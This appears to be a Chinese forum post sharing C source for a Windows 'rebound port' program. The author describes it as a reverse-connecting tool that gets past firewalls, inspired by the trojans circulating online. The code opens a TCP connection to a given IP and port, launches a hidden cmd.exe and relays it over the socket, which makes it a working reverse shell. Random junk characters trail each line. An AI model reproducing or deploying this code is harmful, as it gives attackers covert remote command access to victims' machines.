这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0yz~W(tsm
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/* ============================== +bUW!$G
Rebound port in Windows NT -TTs.O8P|<
By wind,2006/7 W^k,Pmopy
===============================*/ iV!@bC,
#include vr 4O8#
#include ;%WdvnW
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#pragma comment(lib,"wsock32.lib") ddoFaQ8
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void OutputShell(); 1%jH^,t/m
SOCKET sClient; DT\ym9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {]`p&@
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void main(int argc,char **argv) =m9 i)Q
{ !R6ApB4ZI
WSADATA stWsaData; i4<BDX5
int nRet; qp&4 1
SOCKADDR_IN stSaiClient,stSaiServer; `|EH[W&y
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if(argc != 3) krjN7&
{ k;Hnu
printf("Useage:\n\rRebound DestIP DestPort\n"); 4H-j
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return; kYlg4 .~M
} oRq3 pO}f
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WSAStartup(MAKEWORD(2,2),&stWsaData); _*E!gPO
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c+2sT3).D
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stSaiClient.sin_family = AF_INET; 63M=,0-Qt
stSaiClient.sin_port = htons(0); DsGI/c
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %i"}x/CD[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =EpJZt
{ _mk5^u/u
printf("Bind Socket Failed!\n"); 1TZPef^y
return; +s~.A_7)
} H^
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stSaiServer.sin_family = AF_INET; k':s =IXW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6t7fa<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vq>l>as9O
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R=M!e<'
{ /M@PO"
printf("Connect Error!"); :YNp8!?T?
return; 56{I`QjX
} 3m=2x5{L
OutputShell(); ~O03Sit-
} v{y{sA
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void OutputShell() {G*OR,HN
{ h1f8ktF
char szBuff[1024]; QDE$E.a
SECURITY_ATTRIBUTES stSecurityAttributes; 7&+Ys
OSVERSIONINFO stOsversionInfo; @G*.1;jO
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MhxDV d
STARTUPINFO stStartupInfo; cAEok P
char *szShell; au$"B/
PROCESS_INFORMATION stProcessInformation; AVFjBybu9
unsigned long lBytesRead; J@]k%h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {Uq:Xw
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); CW`!}yu%
stSecurityAttributes.lpSecurityDescriptor = 0; f Iy]/
stSecurityAttributes.bInheritHandle = TRUE; >emcJVYV`[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /S~m)$vu
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A,#2 ^dR
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .=<$S#x^Hb
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E FY@Y[
stStartupInfo.wShowWindow = SW_HIDE; o8ppMM8_R[
stStartupInfo.hStdInput = hReadPipe; XUSvhr$|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !#}7{
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GetVersionEx(&stOsversionInfo); H l<$a"K7\
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switch(stOsversionInfo.dwPlatformId) j *3}1L4P
{ sbS~N*{E
case 1: ROdK8*jL
szShell = "command.com"; _^\$"nw
break; ][7p+IsB
default: F]_cbM{8/
szShell = "cmd.exe"; a$JLc a
break; `hrQw)5?r
} XvKFPr0~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o#D.9K(
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send(sClient,szMsg,77,0); ^Z}Ob= .G
while(1) fn}UBzED\
{ }}T,W.#%u
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Jpj!rXTX*
if(lBytesRead) W?z#pV+jt
{ H%}IuHhN)
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y*LaBxt Q
send(sClient,szBuff,lBytesRead,0); X_?97iXjx
} c/aup
else '{[),*nC n
{ \#,t O%D
lBytesRead=recv(sClient,szBuff,1024,0); MGt]' }
if(lBytesRead<=0) break; Vrp[r *V@E
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CxF-Z7 '
} ll<NIdf\r
} M1!pQC_9
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return; Qe$k3!
}